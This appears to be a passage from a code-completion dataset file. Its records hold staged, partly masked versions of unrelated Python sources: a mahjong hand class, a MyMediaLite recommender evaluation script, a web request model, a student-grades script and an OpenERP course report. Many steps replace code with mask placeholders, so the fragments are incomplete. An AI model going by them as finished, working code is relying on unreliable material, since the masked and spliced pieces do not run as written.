'mps']\n [True, False, False]\n\n >>> [PlayerHand('89m東南').can_claim_chow(\n ... tiles.tiles('7{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('35p東南').can_claim_chow(\n ... tiles.tiles('4{}'.format(i))) for i in 'mps']\n [False, True, False]\n\n >>> [PlayerHand('4567m').can_claim_chow(\n ... tiles.tiles('{}m'.format(i))) for i in range(1, 10)]\n [False, False, True, True, True, True, True, True, False]\n\n >>> any(PlayerHand('258p西').can_claim_chow(\n ... tiles.tiles('{}p'.format(i))) for i in range(1, 10))\n False\n\n >>> all(PlayerHand('1112345678999s').can_claim_chow(\n ... tiles.tiles('{}s'.format(i))) for i in range(1, 10))\n True\n \"\"\"\n\n return discarded_tile in self.claimable_chow\n\n def can_claim_pung(self, discarded_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Pung.\n\n >>> hand = PlayerHand('149m66s発発')\n >>> hand.can_claim_pung(tiles.tiles('1s'))\n False\n >>> hand.can_claim_pung(tiles.tiles('6s'))\n True\n >>> hand.can_claim_pung(tiles.tiles('発'))\n True\n\n >>> hand = PlayerHand('9m66s2p発発発')\n >>> hand.can_claim_pung(tiles.tiles('6s'))\n True\n >>> hand.can_claim_pung(tiles.tiles('発'))\n True\n\n >>> PlayerHand('149m6s白発中').can_claim_pung(tiles.tiles('発'))\n False\n >>> [PlayerHand('1112345678999m').can_claim_pung(\n ... tiles.tiles(f'{i}m')) for i in range(1, 10)]\n [True, False, False, False, False, False, False, False, True]\n \"\"\"\n\n return discarded_tile in self.claimable_pung\n\n def can_claim_kong(self, target_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Kong (melded or concealed).\n\n >>> PlayerHand('149m66s発発').can_claim_kong(tiles.tiles('発'))\n False\n >>> PlayerHand('9m66s2p発発発').can_claim_kong(tiles.tiles('発'))\n True\n \"\"\"\n\n return target_tile in self.claimable_kong\n\n def commit_chow(\n self,\n new_tile: tiles.Tile,\n tile1: tiles.Tile,\n tile2: tiles.Tile):\n \"\"\"Add a Chow to the exposed part.\n\n >>> player_hand = PlayerHand('12457789m45p346s')\n >>> target_tile = tiles.tiles('8m')\n >>> tile1, tile2 = tiles.tiles('7m'), tiles.tiles('9m')\n >>> player_hand.commit_chow(target_tile, tile1, tile2)\n >>> chow = player_hand.exposed_parts[0]\n >>> isinstance(chow, Chow)\n True\n >>> chow.concealed\n False\n >>> print(chow.discarded_by)\n DiscardedBy.LEFT\n >>> player_hand.concealed_part[tile1]\n 1\n >>> player_hand.concealed_part[target_tile]\n 1\n >>> player_hand.concealed_part[tile2]\n 0\n \"\"\"\n\n self.exposed_parts.append(Chow([new_tile, tile1, tile2], False))\n self.concealed_part.subtract([tile1, tile2])\n # self.update()\n\n def commit_pung(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add a Pung to the exposed part.\n\n >>> player_hand = PlayerHand('2457789m248p14s白')\n >>> target_tile = tiles.tiles('7m')\n >>> player_hand.commit_pung(target_tile, DiscardedBy.CENTER)\n >>> pung = player_hand.exposed_parts[0]\n >>> assert isinstance(pung, Pung)\n >>> assert pung.tileinfo == target_tile\n >>> pung.concealed\n False\n >>> print(pung.discarded_by)\n DiscardedBy.CENTER\n >>> player_hand.concealed_part[target_tile]\n 0\n \"\"\"\n\n self.exposed_parts.append(Pung(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 2})\n # self.update()\n\n def commit_kong(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add/extend a Kong.\n\n Determine if the claiming for this Kong is a melded, concealed or\n extension Kong by this hand and ``discarded_by``.\n\n Example 1: 大明槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東白'))\n >>> hand.commit_kong(tiles.tiles('東'), DiscardedBy.CENTER)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s白'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n DiscardedBy.CENTER\n\n Example 2: 暗槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東東'))\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n None\n\n Example 3: 加槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s白'),\n ... [Pung(tiles.tiles('東'), True, DiscardedBy.RIGHT)])\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> kong = hand.exposed_parts[-1]\n >>> isinstance(kong, Kong)\n True\n >>> kong.tileinfo == tiles.tiles('東')\n True\n >>> print(kong.discarded_by)\n DiscardedBy.RIGHT\n \"\"\"\n\n if discarded_by:\n # A melded Kong\n self.exposed_parts.append(Kong(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 3})\n elif self.concealed_part.get(tile, 0) == 4:\n # A concealed Kong\n self.exposed_parts.append(Kong(tile, True, None))\n self.concealed_part.subtract({tile: 4})\n else:\n # A melded Pung is extended to a melded Kong\n for i, meld in enumerate(self.exposed_parts):\n if meld.tileinfo == tile:\n self._exposed[i] = meld.extend_to_kong()\n break\n\n # Note: リンシャンから補充するまで self.update_shanten() を呼べない\n # self.update()\n\n def update(self):\n \"\"\"Update internal state\"\"\"\n self.update_claimable_tiles()\n self.update_shanten()\n\n def update_claimable_tiles(self):\n \"\"\"WIP\"\"\"\n self.update_claimable_tiles_chow()\n self.update_claimable_tiles_pung()\n self.update_claimable_tiles_kong()\n\n def update_claimable_tiles_chow(self):\n \"\"\"Update information for claiming a Chow.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_chow()\n >>> set(tiles.tiles('234567p')) == player_hand.claimable_chow\n True\n \"\"\"\n\n def _find_mate_pairs(suits, part):\n def _get_mate_pair(tile):\n yield (tile - 2, tile - 1)\n yield (tile - 1, tile + 1)\n yield (tile + 1, tile + 2)\n\n # XXX: 以下のループをなぜか comprehension で書けない?\n for tile in suits:\n if any(mate[0] in part and mate[1] in part\n for mate in _get_mate_pair(tile)):\n claimable_chow.add(tile)\n\n claimable_chow = set()\n _find_mate_pairs(tiles.TILE_RANGE_CHARACTERS,\n self.concealed_part & tiles.FILTER_CHARACTERS)\n _find_mate_pairs(tiles.TILE_RANGE_CIRCLES,\n self.concealed_part & tiles.FILTER_CIRCLES)\n _find_mate_pairs(tiles.TILE_RANGE_BAMBOOS,\n self.concealed_part & tiles.FILTER_BAMBOOS)\n\n self.claimable_chow = claimable_chow\n\n def update_claimable_tiles_pung(self):\n \"\"\"Update information for claiming a Pung.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_pung()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_pung\n True\n \"\"\"\n\n counter = self.concealed_part\n self.claimable_pung = set(\n tile for tile in counter if counter[tile] >= 2)\n\n def update_claimable_tiles_kong(self):\n \"\"\"Update information for claiming a Kong.\n\n >>> player_hand = PlayerHand('26m333368p38s発発発')\n >>> player_hand.update_claimable_tiles_kong()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_kong\n True\n \"\"\"\n\n counter = self.concealed_part\n\n # 大明槓 or 暗槓\n self.claimable_kong = set(\n tile for tile in counter if counter[tile] in (3, 4))\n\n # 加槓\n self.claimable_kong.union(\n meld.tileinfo for meld in self.exposed_parts\n if isinstance(meld, Pung))\n\n def update_shanten(self):\n \"\"\"Update the shanten number\"\"\"\n\n player_hand = self.concealed_part\n self.shanten_std = count_shanten_std(player_hand)\n if self.is_concealed:\n self.shanten_7 = count_shanten_seven_pairs(player_hand)\n self.shanten_13 = count_shanten_13_orphans(player_hand)\n else:\n self.shanten_7 = None\n self.shanten_13 = None\n\n\ndef main():\n \"\"\"test\"\"\"\n\n wall_agent = TileWallAgent()\n player_hands = [PlayerHand(Counter(ph)) for ph in wall_agent.build()]\n for player_hand in player_hands:\n print(player_hand)\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 18, 19, 21, 23, 25 ] }
[ 18, 19, 21, 23, 25 ]
# -*- coding: utf-8 -*- """ Created on Fri Dec 30 22:01:06 2016 @author: George """ # -*- coding: utf-8 -*- """ Created on Sat Dec 24 23:22:16 2016 @author: George """ import os import clr import numpy as np clr.AddReference(os.getcwd() + "\\libs\\MyMediaLite\\MyMediaLite.dll") from MyMediaLite import IO, RatingPrediction, Eval from MyMediaLite import Random from tools import timing as tim class Base(): def __init__(self): Random.set_Seed(1) def fit(self, DATASET, model_name, _): data_path = ".\\data\\" + DATASET + "\\" file_prefix = DATASET + "-f" file_train_suffix1 = "-train.csv" file_test_suffix = "-test.csv" fold_rmse = [] fold_mae = [] fold_time = [] print self.rec.ToString() for cv_index in range(0, 5): train_data = IO.RatingData.Read(data_path + file_prefix + str(cv_index + 1) + file_train_suffix1) test_data = IO.RatingData.Read(data_path + file_prefix + str(cv_index + 1) + file_test_suffix) print data_path + file_prefix + str(cv_index + 1) + file_train_suffix1 self.rec.Ratings = train_data tim.startlog('Training model') self.rec.Train() fold_time.append(tim.endlog('Done training model')) score = Eval.Ratings.Evaluate(self.rec, test_data) fold_rmse.append(score.get_Item("RMSE")) fold_mae.append(score.get_Item("MAE")) print model_name print "Mean RMSE: %.5f +- %.5f" % (np.array(fold_rmse, dtype=np.single).mean(), np.array(fold_rmse, dtype=np.single).std()) print "Mean MAE: %.5f +- %.5f" % (np.array(fold_mae, dtype=np.single).mean(), np.array(fold_mae, dtype=np.single).std()) return fold_rmse, fold_mae, fold_time, 0, 0, 0 class GlobalAverage(Base): def __init__(self): Base.__init__(self) self.rec = RatingPrediction.GlobalAverage() class UserAverage(Base): def __init__(self): Base.__init__(self) self.rec = RatingPrediction.UserAverage() class ItemAverage(Base): def __init__(self): Base.__init__(self) self.rec = RatingPrediction.ItemAverage()
normal
{ "blob_id": "1292b894b75676abec3f97a8854fe406787baf1d", "index": 7909, "step-1": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 30 22:01:06 2016\n\n@author: George\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 24 23:22:16 2016\n\n@author: George\n\"\"\"\n\nimport os\nimport clr\nimport numpy as np\n\nclr.AddReference(os.getcwd() + \"\\\\libs\\\\MyMediaLite\\\\MyMediaLite.dll\")\n\nfrom MyMediaLite import IO, RatingPrediction, Eval\nfrom MyMediaLite import Random\n\nfrom tools import timing as tim\n\nclass Base():\n \n def __init__(self):\n Random.set_Seed(1)\n \n \n def fit(self, DATASET, model_name, _):\n \n data_path = \".\\\\data\\\\\" + DATASET + \"\\\\\"\n file_prefix = DATASET + \"-f\"\n file_train_suffix1 = \"-train.csv\"\n file_test_suffix = \"-test.csv\"\n \n fold_rmse = []\n fold_mae = []\n fold_time = []\n \n print self.rec.ToString()\n for cv_index in range(0, 5):\n train_data = IO.RatingData.Read(data_path + file_prefix + str(cv_index + 1) + file_train_suffix1)\n test_data = IO.RatingData.Read(data_path + file_prefix + str(cv_index + 1) + file_test_suffix)\n \n print data_path + file_prefix + str(cv_index + 1) + file_train_suffix1\n \n self.rec.Ratings = train_data\n \n tim.startlog('Training model')\n self.rec.Train()\n fold_time.append(tim.endlog('Done training model'))\n \n score = Eval.Ratings.Evaluate(self.rec, test_data)\n \n fold_rmse.append(score.get_Item(\"RMSE\"))\n fold_mae.append(score.get_Item(\"MAE\"))\n \n print model_name\n print \"Mean RMSE: %.5f +- %.5f\" % (np.array(fold_rmse, dtype=np.single).mean(), np.array(fold_rmse, dtype=np.single).std())\n print \"Mean MAE: %.5f +- %.5f\" % (np.array(fold_mae, dtype=np.single).mean(), np.array(fold_mae, dtype=np.single).std())\n \n return fold_rmse, fold_mae, fold_time, 0, 0, 0\n \nclass GlobalAverage(Base):\n \n def __init__(self):\n Base.__init__(self)\n \n self.rec = RatingPrediction.GlobalAverage()\n \nclass UserAverage(Base):\n \n def __init__(self):\n Base.__init__(self)\n \n self.rec = RatingPrediction.UserAverage()\n \nclass ItemAverage(Base):\n \n def __init__(self):\n Base.__init__(self)\n \n self.rec = RatingPrediction.ItemAverage()\n ", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import http.cookies import json import os import itertools import types from framework import helpers from framework import security class Model: """Manages the information received by the client""" def __init__(self): """Puth the os.environ dict into the namespace""" self.__dict__.update( itertools.starmap( lambda key, value: ( key[0].lower() + # upper case the first letter and add key.title() # title case all text .replace('_', '') # remove undersore [1:] # all text without the first char , value ) #lambda ,os.environ.items() ) #itertools.starmap ) #update @property def form(self): """Contains the data send from the client.""" return security.get_field_storage() @property def cookie(self): """The client cookie""" return http.cookies.SimpleCookie(os.environ.get('HTTP_COOKIE')) @property def url(self): """The url of request""" url = os.environ.get('PATH_INFO')\ or os.environ.get('REQUEST_URI') return url if url else '' @property def serverProtocol(self): """The server protocol""" serverProtocol = os.environ.get('SERVER_PROTOCOL') return serverProtocol if serverProtocol else 'HTTP/1.1' @property def protocol(self): """Te protocol (HTTP or HTTPS)""" return helpers.get_protocol() @property def ip(self): """The ip of the client""" return os.environ.get('REMOTE_ADDR')
normal
{ "blob_id": "7f21ab8d332d169226ef17276abbdd373e3a62c2", "index": 8544, "step-1": "<mask token>\n\n\nclass Model:\n <mask token>\n <mask token>\n\n @property\n def form(self):\n \"\"\"Contains the data send from the client.\"\"\"\n return security.get_field_storage()\n\n @property\n def cookie(self):\n \"\"\"The client cookie\"\"\"\n return http.cookies.SimpleCookie(os.environ.get('HTTP_COOKIE'))\n\n @property\n def url(self):\n \"\"\"The url of request\"\"\"\n url = os.environ.get('PATH_INFO') or os.environ.get('REQUEST_URI')\n return url if url else ''\n\n @property\n def serverProtocol(self):\n \"\"\"The server protocol\"\"\"\n serverProtocol = os.environ.get('SERVER_PROTOCOL')\n return serverProtocol if serverProtocol else 'HTTP/1.1'\n\n @property\n def protocol(self):\n \"\"\"Te protocol (HTTP or HTTPS)\"\"\"\n return helpers.get_protocol()\n\n @property\n def ip(self):\n \"\"\"The ip of the client\"\"\"\n return os.environ.get('REMOTE_ADDR')\n", "step-2": "<mask token>\n\n\nclass Model:\n <mask token>\n\n def __init__(self):\n \"\"\"Puth the os.environ dict into the namespace\"\"\"\n self.__dict__.update(itertools.starmap(lambda key, value: (key[0].\n lower() + key.title().replace('_', '')[1:], value), os.environ.\n items()))\n\n @property\n def form(self):\n \"\"\"Contains the data send from the client.\"\"\"\n return security.get_field_storage()\n\n @property\n def cookie(self):\n \"\"\"The client cookie\"\"\"\n return http.cookies.SimpleCookie(os.environ.get('HTTP_COOKIE'))\n\n @property\n def url(self):\n \"\"\"The url of request\"\"\"\n url = os.environ.get('PATH_INFO') or os.environ.get('REQUEST_URI')\n return url if url else ''\n\n @property\n def serverProtocol(self):\n \"\"\"The server protocol\"\"\"\n serverProtocol = os.environ.get('SERVER_PROTOCOL')\n return serverProtocol if serverProtocol else 'HTTP/1.1'\n\n @property\n def protocol(self):\n \"\"\"Te protocol (HTTP or HTTPS)\"\"\"\n return helpers.get_protocol()\n\n @property\n def ip(self):\n \"\"\"The ip of the client\"\"\"\n return os.environ.get('REMOTE_ADDR')\n", "step-3": "<mask token>\n\n\nclass Model:\n \"\"\"Manages the information received by the client\"\"\"\n\n def __init__(self):\n \"\"\"Puth the os.environ dict into the namespace\"\"\"\n self.__dict__.update(itertools.starmap(lambda key, value: (key[0].\n lower() + key.title().replace('_', '')[1:], value), os.environ.\n items()))\n\n @property\n def form(self):\n \"\"\"Contains the data send from the client.\"\"\"\n return security.get_field_storage()\n\n @property\n def cookie(self):\n \"\"\"The client cookie\"\"\"\n return http.cookies.SimpleCookie(os.environ.get('HTTP_COOKIE'))\n\n @property\n def url(self):\n \"\"\"The url of request\"\"\"\n url = os.environ.get('PATH_INFO') or os.environ.get('REQUEST_URI')\n return url if url else ''\n\n @property\n def serverProtocol(self):\n \"\"\"The server protocol\"\"\"\n serverProtocol = os.environ.get('SERVER_PROTOCOL')\n return serverProtocol if serverProtocol else 'HTTP/1.1'\n\n @property\n def protocol(self):\n \"\"\"Te protocol (HTTP or HTTPS)\"\"\"\n return helpers.get_protocol()\n\n @property\n def ip(self):\n \"\"\"The ip of the client\"\"\"\n return os.environ.get('REMOTE_ADDR')\n", "step-4": "import http.cookies\nimport json\nimport os\nimport itertools\nimport types\nfrom framework import helpers\nfrom framework import security\n\n\nclass Model:\n \"\"\"Manages the information received by the client\"\"\"\n\n def __init__(self):\n \"\"\"Puth the os.environ dict into the namespace\"\"\"\n self.__dict__.update(itertools.starmap(lambda key, value: (key[0].\n lower() + key.title().replace('_', '')[1:], value), os.environ.\n items()))\n\n @property\n def form(self):\n \"\"\"Contains the data send from the client.\"\"\"\n return security.get_field_storage()\n\n @property\n def cookie(self):\n \"\"\"The client cookie\"\"\"\n return http.cookies.SimpleCookie(os.environ.get('HTTP_COOKIE'))\n\n @property\n def url(self):\n \"\"\"The url of request\"\"\"\n url = os.environ.get('PATH_INFO') or os.environ.get('REQUEST_URI')\n return url if url else ''\n\n @property\n def serverProtocol(self):\n \"\"\"The server protocol\"\"\"\n serverProtocol = os.environ.get('SERVER_PROTOCOL')\n return serverProtocol if serverProtocol else 'HTTP/1.1'\n\n @property\n def protocol(self):\n \"\"\"Te protocol (HTTP or HTTPS)\"\"\"\n return helpers.get_protocol()\n\n @property\n def ip(self):\n \"\"\"The ip of the client\"\"\"\n return os.environ.get('REMOTE_ADDR')\n", "step-5": "import http.cookies\nimport json\nimport os\nimport itertools\nimport types\n\nfrom framework import helpers\nfrom framework import security\n\n\nclass Model:\n \"\"\"Manages the information received by the client\"\"\"\n\n def __init__(self):\n \"\"\"Puth the os.environ dict into the namespace\"\"\"\n self.__dict__.update(\n itertools.starmap(\n lambda key, value: (\n key[0].lower() + # upper case the first letter and add\n key.title() # title case all text\n .replace('_', '') # remove undersore\n [1:] # all text without the first char\n , value\n ) #lambda\n ,os.environ.items()\n ) #itertools.starmap\n ) #update\n\n @property\n def form(self):\n \"\"\"Contains the data send from the client.\"\"\"\n return security.get_field_storage()\n\n @property\n def cookie(self):\n \"\"\"The client cookie\"\"\"\n return http.cookies.SimpleCookie(os.environ.get('HTTP_COOKIE'))\n\n @property\n def url(self):\n \"\"\"The url of request\"\"\"\n url = os.environ.get('PATH_INFO')\\\n or os.environ.get('REQUEST_URI')\n return url if url else ''\n\n @property\n def serverProtocol(self):\n \"\"\"The server protocol\"\"\"\n serverProtocol = os.environ.get('SERVER_PROTOCOL')\n return serverProtocol if serverProtocol else 'HTTP/1.1'\n\n @property\n def protocol(self):\n \"\"\"Te protocol (HTTP or HTTPS)\"\"\"\n return helpers.get_protocol()\n\n @property\n def ip(self):\n \"\"\"The ip of the client\"\"\"\n return os.environ.get('REMOTE_ADDR')\n ", "step-ids": [ 7, 8, 9, 10, 11 ] }
[ 7, 8, 9, 10, 11 ]
student = [] while True: name = str(input('Name: ')).capitalize().strip() grade1 = float(input('Grade 1: ')) grade2 = float(input('Grade 2: ')) avgrade = (grade1 + grade2) / 2 student.append([name, [grade1, grade2], avgrade]) resp = ' ' while resp not in 'NnYy': resp = str(input('Another student? [Y/N]')) if resp == 'N': break print('-=' * 15) print(f'{"No.":<4}{"Name:":<10}{"Average Grade:":>8}') print('-=' * 15) for i, a in enumerate(student): print(f'{i:<4}{a[0]:<8}{a[2]:>8.1f}') while True: print('-=' * 20) opt = int(input('Enter the student ID to show the grades: (999 to exit) ')) if opt == 999: print('Exiting...') break if opt <= len(student) - 1: print(f'Grades of {student[opt][0]} are {student[opt][1]}') print('Have a nice day!!!')
normal
{ "blob_id": "74028a7b317c02c90603ad24c1ddb35a1d5d0e9d", "index": 8678, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile True:\n name = str(input('Name: ')).capitalize().strip()\n grade1 = float(input('Grade 1: '))\n grade2 = float(input('Grade 2: '))\n avgrade = (grade1 + grade2) / 2\n student.append([name, [grade1, grade2], avgrade])\n resp = ' '\n while resp not in 'NnYy':\n resp = str(input('Another student? [Y/N]'))\n if resp == 'N':\n break\nprint('-=' * 15)\nprint(f\"{'No.':<4}{'Name:':<10}{'Average Grade:':>8}\")\nprint('-=' * 15)\nfor i, a in enumerate(student):\n print(f'{i:<4}{a[0]:<8}{a[2]:>8.1f}')\nwhile True:\n print('-=' * 20)\n opt = int(input('Enter the student ID to show the grades: (999 to exit) ')\n )\n if opt == 999:\n print('Exiting...')\n break\n if opt <= len(student) - 1:\n print(f'Grades of {student[opt][0]} are {student[opt][1]}')\nprint('Have a nice day!!!')\n", "step-3": "student = []\nwhile True:\n name = str(input('Name: ')).capitalize().strip()\n grade1 = float(input('Grade 1: '))\n grade2 = float(input('Grade 2: '))\n avgrade = (grade1 + grade2) / 2\n student.append([name, [grade1, grade2], avgrade])\n resp = ' '\n while resp not in 'NnYy':\n resp = str(input('Another student? [Y/N]'))\n if resp == 'N':\n break\nprint('-=' * 15)\nprint(f\"{'No.':<4}{'Name:':<10}{'Average Grade:':>8}\")\nprint('-=' * 15)\nfor i, a in enumerate(student):\n print(f'{i:<4}{a[0]:<8}{a[2]:>8.1f}')\nwhile True:\n print('-=' * 20)\n opt = int(input('Enter the student ID to show the grades: (999 to exit) ')\n )\n if opt == 999:\n print('Exiting...')\n break\n if opt <= len(student) - 1:\n print(f'Grades of {student[opt][0]} are {student[opt][1]}')\nprint('Have a nice day!!!')\n", "step-4": "student = []\nwhile True:\n name = str(input('Name: ')).capitalize().strip()\n grade1 = float(input('Grade 1: '))\n grade2 = float(input('Grade 2: '))\n avgrade = (grade1 + grade2) / 2\n student.append([name, [grade1, grade2], avgrade])\n resp = ' '\n while resp not in 'NnYy':\n resp = str(input('Another student? [Y/N]'))\n if resp == 'N':\n break\nprint('-=' * 15)\nprint(f'{\"No.\":<4}{\"Name:\":<10}{\"Average Grade:\":>8}')\nprint('-=' * 15)\nfor i, a in enumerate(student):\n print(f'{i:<4}{a[0]:<8}{a[2]:>8.1f}')\nwhile True:\n print('-=' * 20)\n opt = int(input('Enter the student ID to show the grades: (999 to exit) '))\n if opt == 999:\n print('Exiting...')\n break\n if opt <= len(student) - 1:\n print(f'Grades of {student[opt][0]} are {student[opt][1]}')\nprint('Have a nice day!!!')\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class course_form(report_sxw.rml_parse): <|reserved_special_token_0|> <|reserved_special_token_0|> def _get_course(self, data): training_category_obj = self.pool.get('hr.training.category') training_category_id = data['training_category_id'] training_category_id = (not training_category_id and training_category_obj.browse(self.cr, self.uid, []) or training_category_id) self.cr.execute( ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s' , (tuple(training_category_id),)) res = self.cr.dictfetchall() return res def _get_data(self, data, course_id): date1 = data['date_from'] date2 = data['date_to'] side = data['type'] == '3' and 'inside' or 'outside' self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1 ).year or self.year res = [] if date1 and date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s " , (tuple([course_id]), side, date1, date2)) elif date1 and not date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s" , (tuple([course_id]), side, date1)) elif date2 and not date1: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s " , (tuple([course_id]), side, date2)) else: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s " , (tuple([course_id]), side)) res = self.cr.dictfetchall() return res def _get_time(self): return self.year <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class course_form(report_sxw.rml_parse): def __init__(self, cr, uid, name, context): super(course_form, self).__init__(cr, uid, name, context) self.localcontext.update({'time': time, 'time1': self._get_time, 'course': self._get_course, 'line': self._get_data, 'user': self._get_user}) self.year = int(time.strftime('%Y')) def _get_user(self, data, header=False): if header: return self.pool.get('res.company').browse(self.cr, self.uid, data['form']['company_id'][0]).logo else: return self.pool.get('res.users').browse(self.cr, self.uid, self.uid).name def _get_course(self, data): training_category_obj = self.pool.get('hr.training.category') training_category_id = data['training_category_id'] training_category_id = (not training_category_id and training_category_obj.browse(self.cr, self.uid, []) or training_category_id) self.cr.execute( ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s' , (tuple(training_category_id),)) res = self.cr.dictfetchall() return res def _get_data(self, data, course_id): date1 = data['date_from'] date2 = data['date_to'] side = data['type'] == '3' and 'inside' or 'outside' self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1 ).year or self.year res = [] if date1 and date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s " , (tuple([course_id]), side, date1, date2)) elif date1 and not date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s" , (tuple([course_id]), side, date1)) elif date2 and not date1: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s " , (tuple([course_id]), side, date2)) else: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s " , (tuple([course_id]), side)) res = self.cr.dictfetchall() return res def _get_time(self): return self.year <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class course_form(report_sxw.rml_parse): def __init__(self, cr, uid, name, context): super(course_form, self).__init__(cr, uid, name, context) self.localcontext.update({'time': time, 'time1': self._get_time, 'course': self._get_course, 'line': self._get_data, 'user': self._get_user}) self.year = int(time.strftime('%Y')) def _get_user(self, data, header=False): if header: return self.pool.get('res.company').browse(self.cr, self.uid, data['form']['company_id'][0]).logo else: return self.pool.get('res.users').browse(self.cr, self.uid, self.uid).name def _get_course(self, data): training_category_obj = self.pool.get('hr.training.category') training_category_id = data['training_category_id'] training_category_id = (not training_category_id and training_category_obj.browse(self.cr, self.uid, []) or training_category_id) self.cr.execute( ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s' , (tuple(training_category_id),)) res = self.cr.dictfetchall() return res def _get_data(self, data, course_id): date1 = data['date_from'] date2 = data['date_to'] side = data['type'] == '3' and 'inside' or 'outside' self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1 ).year or self.year res = [] if date1 and date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as 